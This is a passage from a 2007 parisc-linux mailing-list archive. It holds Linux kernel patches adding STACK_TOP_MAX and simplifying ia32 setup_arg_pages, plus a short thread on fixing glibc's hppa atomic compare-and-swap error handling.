 #define BRK_BASE			__UL(2 * 1024 * 1024 + PAGE_SIZE)
 #define STACK_TOP			__UL(2 * 1024 * 1024)
+#define STACK_TOP_MAX	STACK_TOP
 
 /* userspace process size */
 #ifdef CONFIG_MMU
Index: linux-2.6-2/include/asm-h8300/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-h8300/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-h8300/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-i386/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-i386/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-i386/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-ia64/ustack.h
===================================================================
--- linux-2.6-2.orig/include/asm-ia64/ustack.h	2007-05-22 12:31:15.000000000 +0200
+++ linux-2.6-2/include/asm-ia64/ustack.h	2007-05-22 12:39:45.000000000 +0200
@@ -11,6 +11,7 @@
 /* The absolute hard limit for stack size is 1/2 of the mappable space in the region */
 #define MAX_USER_STACK_SIZE	(RGN_MAP_LIMIT/2)
 #define STACK_TOP		(0x6000000000000000UL + RGN_MAP_LIMIT)
+#define STACK_TOP_MAX		STACK_TOP
 #endif
 
 /* Make a default stack size of 2GiB */
Index: linux-2.6-2/include/asm-m32r/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-m32r/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-m32r/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-m68k/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-m68k/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-m68k/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-mips/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-mips/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-mips/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -40,6 +40,7 @@ struct exec
 #ifdef CONFIG_64BIT
 #define STACK_TOP	(current->thread.mflags & MF_32BIT_ADDR ? TASK_SIZE32 : TASK_SIZE)
 #endif
+#define STACK_TOP_MAX	TASK_SIZE
 
 #endif
 
Index: linux-2.6-2/include/asm-parisc/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-parisc/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-parisc/a.out.h	2007-05-22 13:13:07.000000000 +0200
@@ -23,6 +23,7 @@ struct exec
  * prumpf */
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
 #endif
 
Index: linux-2.6-2/include/asm-powerpc/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-powerpc/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-powerpc/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -26,9 +26,12 @@ struct exec
 #define STACK_TOP (test_thread_flag(TIF_32BIT) ? \
 		   STACK_TOP_USER32 : STACK_TOP_USER64)
 
+#define STACK_TOP_MAX STACK_TOP_USER64
+
 #else /* __powerpc64__ */
 
 #define STACK_TOP TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif /* __powerpc64__ */
 #endif /* __KERNEL__ */
Index: linux-2.6-2/include/asm-s390/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-s390/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-s390/a.out.h	2007-05-22 13:15:00.000000000 +0200
@@ -32,6 +32,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
 #endif
 
Index: linux-2.6-2/include/asm-sh/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sh/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-sh/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-sh64/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sh64/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-sh64/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -31,6 +31,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-sparc/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sparc/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-sparc/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -92,6 +92,7 @@ struct relocation_info /* used when head
 #include <asm/page.h>
 
 #define STACK_TOP	(PAGE_OFFSET - PAGE_SIZE)
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif /* __KERNEL__ */
 
Index: linux-2.6-2/include/asm-sparc64/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sparc64/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-sparc64/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -101,6 +101,8 @@ struct relocation_info /* used when head
 #define STACK_TOP (test_thread_flag(TIF_32BIT) ? \
 		   STACK_TOP32 : STACK_TOP64)
 
+#define STACK_TOP_MAX STACK_TOP64
+
 #endif
 
 #endif /* !(__ASSEMBLY__) */
Index: linux-2.6-2/include/asm-um/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-um/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-um/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -16,4 +16,6 @@ extern int honeypot;
 #define STACK_TOP \
 	CHOOSE_MODE((honeypot ? host_task_size : task_size), task_size)
 
+#define STACK_TOP_MAX	STACK_TOP
+
 #endif
Index: linux-2.6-2/include/asm-x86_64/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-x86_64/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-x86_64/a.out.h	2007-05-22 12:54:41.000000000 +0200
@@ -21,7 +21,8 @@ struct exec
 
 #ifdef __KERNEL__
 #include <linux/thread_info.h>
-#define STACK_TOP TASK_SIZE
+#define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	TASK_SIZE64
 #endif
 
 #endif /* __A_OUT_GNU_H__ */
Index: linux-2.6-2/include/asm-xtensa/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-xtensa/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-xtensa/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -17,6 +17,7 @@
 /* Note: the kernel needs the a.out definitions, even if only ELF is used. */
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 struct exec
 {
Index: linux-2.6-2/fs/exec.c
===================================================================
--- linux-2.6-2.orig/fs/exec.c	2007-05-22 12:39:22.000000000 +0200
+++ linux-2.6-2/fs/exec.c	2007-05-22 13:10:45.000000000 +0200
@@ -282,7 +282,7 @@ int bprm_mm_init(struct linux_binprm *bp
 		 * move this to an appropriate place.  We don't use STACK_TOP
 		 * because that can depend on attributes which aren't
 		 * configured yet. */
-		vma->vm_end = TASK_SIZE;
+		vma->vm_end = STACK_TOP_MAX;
 		vma->vm_start = vma->vm_end - PAGE_SIZE;
 
 		vma->vm_flags = VM_STACK_FLAGS;

--=-AD3gMpMUuQSfYMFUfxVH
Content-Disposition: attachment; filename=setup_arg_pages.patch
Content-Type: text/x-patch; name=setup_arg_pages.patch; charset=utf-8
Content-Transfer-Encoding: 7bit


Convert the ia64/ia32 compat binfmt code to the new way of doing things.
Clean up the x86_64/ia32 code.

Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
---
 arch/ia64/ia32/binfmt_elf32.c  |   59 ++++++-----------------------------------
 arch/x86_64/ia32/ia32_aout.c   |    2 -
 arch/x86_64/ia32/ia32_binfmt.c |    7 ----
 fs/exec.c                      |    3 --
 4 files changed, 11 insertions(+), 60 deletions(-)

Index: linux-2.6-2/arch/x86_64/ia32/ia32_binfmt.c
===================================================================
--- linux-2.6-2.orig/arch/x86_64/ia32/ia32_binfmt.c	2007-05-22 13:10:45.000000000 +0200
+++ linux-2.6-2/arch/x86_64/ia32/ia32_binfmt.c	2007-05-22 13:16:14.000000000 +0200
@@ -281,13 +281,6 @@ static void elf32_init(struct pt_regs *r
 	me->thread.es = __USER_DS;
 }
 
-int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long stack_top,
-			 int executable_stack)
-{
-	return setup_arg_pages(bprm, stack_top, executable_stack);
-}
-EXPORT_SYMBOL(ia32_setup_arg_pages);
-
 #ifdef CONFIG_SYSCTL
 /* Register vsyscall32 into the ABI table */
 #include <linux/sysctl.h>
Index: linux-2.6-2/arch/ia64/ia32/binfmt_elf32.c
===================================================================
--- linux-2.6-2.orig/arch/ia64/ia32/binfmt_elf32.c	2007-05-22 13:10:45.000000000 +0200
+++ linux-2.6-2/arch/ia64/ia32/binfmt_elf32.c	2007-05-22 13:16:14.000000000 +0200
@@ -198,59 +198,18 @@ ia64_elf32_init (struct pt_regs *regs)
 int
 ia32_setup_arg_pages (struct linux_binprm *bprm, int executable_stack)
 {
-	unsigned long stack_base;
-	struct vm_area_struct *mpnt;
-	struct mm_struct *mm = current->mm;
-	int i, ret;
-
-	stack_base = IA32_STACK_TOP - MAX_ARG_PAGES*PAGE_SIZE;
-	mm->arg_start = bprm->p + stack_base;
-
-	bprm->p += stack_base;
-	if (bprm->loader)
-		bprm->loader += stack_base;
-	bprm->exec += stack_base;
-
-	mpnt = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
-	if (!mpnt)
-		return -ENOMEM;
-
-	down_write(&current->mm->mmap_sem);
-	{
-		mpnt->vm_mm = current->mm;
-		mpnt->vm_start = PAGE_MASK & (unsigned long) bprm->p;
-		mpnt->vm_end = IA32_STACK_TOP;
-		if (executable_stack == EXSTACK_ENABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
-		else if (executable_stack == EXSTACK_DISABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
-		else
-			mpnt->vm_flags = VM_STACK_FLAGS;
-		mpnt->vm_page_prot = (mpnt->vm_flags & VM_EXEC)?
-					PAGE_COPY_EXEC: PAGE_COPY;
-		if ((ret = insert_vm_struct(current->mm, mpnt))) {
-			up_write(&current->mm->mmap_sem);
-			kmem_cache_free(vm_area_cachep, mpnt);
-			return ret;
-		}
-		current->mm->stack_vm = current->mm->total_vm = vma_pages(mpnt);
-	}
+	int ret;
 
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page *page = bprm->page[i];
-		if (page) {
-			bprm->page[i] = NULL;
-			install_arg_page(mpnt, page, stack_base);
-		}
-		stack_base += PAGE_SIZE;
+	ret = setup_arg_pages(bprm, IA32_STACK_TOP, executable_stack);
+	if (!ret) {
+		/*
+		 * Can't do it in ia64_elf32_init(). Needs to be done before
+		 * calls to elf32_map()
+		 */
+		current->thread.ppl = ia32_init_pp_list();
 	}
-	up_write(&current->mm->mmap_sem);
-
-	/* Can't do it in ia64_elf32_init(). Needs to be done before calls to
-	   elf32_map() */
-	current->thread.ppl = ia32_init_pp_list();
 
-	return 0;
+	return ret;
 }
 
 static void
Index: linux-2.6-2/fs/exec.c
===================================================================
--- linux-2.6-2.orig/fs/exec.c	2007-05-22 13:10:45.000000000 +0200
+++ linux-2.6-2/fs/exec.c	2007-05-22 13:16:14.000000000 +0200
@@ -535,14 +535,13 @@ int setup_arg_pages(struct linux_binprm 
 	stack_base = PAGE_ALIGN(stack_top - stack_base);
 
 	/* Make sure we didn't let the argument array grow too large. */
-	if (vma->vm_end - vma->vm_start > STACK_TOP - stack_base)
+	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;
 
 	stack_shift = stack_base - vma->vm_start;
 	mm->arg_start = bprm->p + stack_shift;
 	bprm->p = vma->vm_end + stack_shift;
 #else
-	BUG_ON(stack_top > STACK_TOP);
 	BUG_ON(stack_top & ~PAGE_MASK);
 
 	stack_base = arch_align_stack(stack_top - mm->stack_vm*PAGE_SIZE);
Index: linux-2.6-2/arch/x86_64/ia32/ia32_aout.c
===================================================================
--- linux-2.6-2.orig/arch/x86_64/ia32/ia32_aout.c	2007-04-24 17:43:39.000000000 +0200
+++ linux-2.6-2/arch/x86_64/ia32/ia32_aout.c	2007-05-22 13:41:11.000000000 +0200
@@ -404,7 +404,7 @@ beyond_if:
 
 	set_brk(current->mm->start_brk, current->mm->brk);
 
-	retval = ia32_setup_arg_pages(bprm, IA32_STACK_TOP, EXSTACK_DEFAULT);
+	retval = setup_arg_pages(bprm, IA32_STACK_TOP, EXSTACK_DEFAULT);
 	if (retval < 0) { 
 		/* Someone check-me: is this error path enough? */ 
 		send_sig(SIGKILL, current, 0); 

--=-AD3gMpMUuQSfYMFUfxVH
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--=-AD3gMpMUuQSfYMFUfxVH--



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
	function on hppa
Date: Tue, 22 May 2007 17:19:30 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <20070522151930.GA16377__36403.0837001794$1416624360$gmane$org@farad.aurel32.net>
References: <20070520015215.GA26949@amd64.aurel32.net>
	<20070520015653.GA22224@amd64.aurel32.net>
	<119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com>
	<4652C3EF.3020905@aurel32.net>
	<119aab440705220705s13c5fa96yd27857e22afbd2bd@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624360 23856 80.91.229.3 (22 Nov 2014 02:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:00 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 May 2007 15:19:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 22 May 2007 17:19:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 373D97DD71;
	Tue, 22 May 2007 09:19:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16107-06; Tue, 22 May 2007 09:19:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 262EF7DD72;
	Tue, 22 May 2007 09:19:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 683917DD6D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:19:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16107-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:19:35 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id AF6487DD5E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:19:34 -0600 (MDT)
Original-Received: from farad.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:100c])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@farad.aurel32.net>)
	id 1HqW95-0005kX-Er; Tue, 22 May 2007 17:19:31 +0200
Original-Received: from aurel32 by farad.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@farad.aurel32.net>)
	id 1HqW94-0004GL-Td; Tue, 22 May 2007 17:19:30 +0200
Content-Disposition: inline
In-Reply-To: <119aab440705220705s13c5fa96yd27857e22afbd2bd@mail.gmail.com>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q04ZAUB/a2A7nLvDOHQyKBYyOWhhasfb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24551

On Tue, May 22, 2007 at 10:05:11AM -0400, Carlos O'Donell wrote:
> On 5/22/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
> >Well we still have a problem, the failure occurs less often, but still
> >sometimes. Apparently it is cause by the kernel returning -EDEADLOCK.
> >How should that be handled? The same way as -EAGAIN?
> 
> No.
> 
> The only way you can get  -EDEADLOCK back is to build a kernel with
> ENABLE_LWS_DEBUG, this is strictly a developer only feature, please do
> not enable this.
> 
> Please verify that ENABLE_LWS_DEBUG is defined as 0 in:
> arch/parisc/kernel/syscall.S:467 #define ENABLE_LWS_DEBUG 0
> 

As discussed on IRC, there is actually a bug in the kernel:

  #define ENABLE_LWS_DEBUG 0
  ...
  # ifdef ENABLE_LWS_DEBUG

ENABLE_LWS_DEBUG is defined as 0, so the debug code is enabled.

Please find below a patch which fixes the -EAGAIN problem by harcoding
the value directly into the code. It also adds a workaround for unfixed
kernels which return -EDEADLOCK.

Cheers,
Aurelien


2007-05-22  Aurelien Jarno  <aurelien@aurel32.net>

	* sysdeps/unix/sysv/linux/hppa/bits/atomic.h: check for -11 
	(-EAGAIN) instead of 11. Loop again when the kernel returns
	error -45 (-EDEADLOCK) to workaround a kernel bug (debugging
	code enabled).

--- ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h.orig	2007-05-20 03:28:39.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h	2007-05-20 03:24:41.000000000 +0200
@@ -56,10 +56,14 @@
 #define LWS_CAS "0"
 /* Note r31 is the link register */
 #define LWS_CLOBBER "r1", "r26", "r25", "r24", "r23", "r22", "r21", "r20", "r28", "r31", "memory"
-#define ASM_EAGAIN "11" 
 
 #if __ASSUME_LWS_CAS
-/* The only basic operation needed is compare and exchange.  */
+/* The only basic operation needed is compare and exchange.
+   -11 corresponds to -EAGAIN, and -45 to -EDEADLOCK. The constants
+   must stay the same to avoid breaking backwards compatibility.
+
+   The check for -EDEADLOCK workarounds a kernel bug (debugging code
+   enabled by default). */
 # define atomic_compare_and_exchange_val_acq(mem, newval, oldval) 	\
   ({									\
      volatile int lws_errno = EFAULT;					\
@@ -71,7 +75,10 @@
 	"copy	%5, %%r24			\n\t"			\
 	"ble	" LWS "(%%sr2, %%r0)		\n\t"			\
 	"ldi	" LWS_CAS ", %%r20		\n\t"			\
-	"cmpib,=,n " ASM_EAGAIN ",%%r21,0b	\n\t"			\
+	"cmpib,=,n -11,%%r21,0b			\n\t"			\
+	"nop 					\n\t"			\
+	"ldi	-45, %%r24			\n\t"			\
+	"cmpb,=,n %%r24,%%r21,0b		\n\t"			\
 	"nop					\n\t"			\
 	"stw	%%r28, %0			\n\t"			\
         "sub	%%r0, %%r21, %%r21		\n\t"			\

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
	function on hppa
Date: Tue, 22 May 2007 11:37:23 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20070522153723.GC16717__1622.58685236356$1416624361$gmane$org@fattire.cabal.ca>
References: <20070520015215.GA26949@amd64.aurel32.net>
	<20070520015653.GA22224@amd64.aurel32.net>
	<119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com>
	<4652C3EF.3020905@aurel32.net>
	<119aab440705220705s13c5fa96yd27857e22afbd2bd@mail.gmail.com>
	<20070522151930.GA16377@farad.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624361 23868 80.91.229.3 (22 Nov 2014 02:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:01 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 May 2007 15:37:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx106) with SMTP; 22 May 2007 17:37:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 779A67DD72;
	Tue, 22 May 2007 09:37:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16220-07; Tue, 22 May 2007 09:37:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39B377DD74;
	Tue, 22 May 2007 09:37:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CDA47DD71
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:37:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16220-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:37:25 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 4F9217DD6B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:37:25 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 69C3558409A;
	Tue, 22 May 2007 11:37:24 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CE997584099;
	Tue, 22 May 2007 11:37:23 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 89CDA837DB; Tue, 22 May 2007 11:37:23 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070522151930.GA16377@farad.aurel32.net>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dTZmci4qRkkerquPfGRqEiZmdWkvKJOn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24552

On Tue, May 22, 2007 at 05:19:30PM +0200, Aurelien Jarno wrote:
> As discussed on IRC, there is actually a bug in the kernel:
> 
>   #define ENABLE_LWS_DEBUG 0
>   ...
>   # ifdef ENABLE_LWS_DEBUG
> 

Patch to switch #ifdef to #if $x == 1 or the #define to #undef welcome.

> ENABLE_LWS_DEBUG is defined as 0, so the debug code is enabled.
> 
> Please find below a patch which fixes the -EAGAIN problem by harcoding
> the value directly into the code. It also adds a workaround for unfixed
> kernels which return -EDEADLOCK.
> 
> +/* The only basic operation needed is compare and exchange.
> +   -11 corresponds to -EAGAIN, and -45 to -EDEADLOCK. The constants
> +   must stay the same to avoid breaking backwards compatibility.
> +
> +   The check for -EDEADLOCK workarounds a kernel bug (debugging code
> +   enabled by default). */

This is stupid. Why not just use the symbol and then #undef it
immediately afterwards? For extra paranoia name it LWS_RET_EAGAIN or
something.

Putting magic numbers in the code is irritating and makes it more
difficult to read it on a glance.

Regards,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
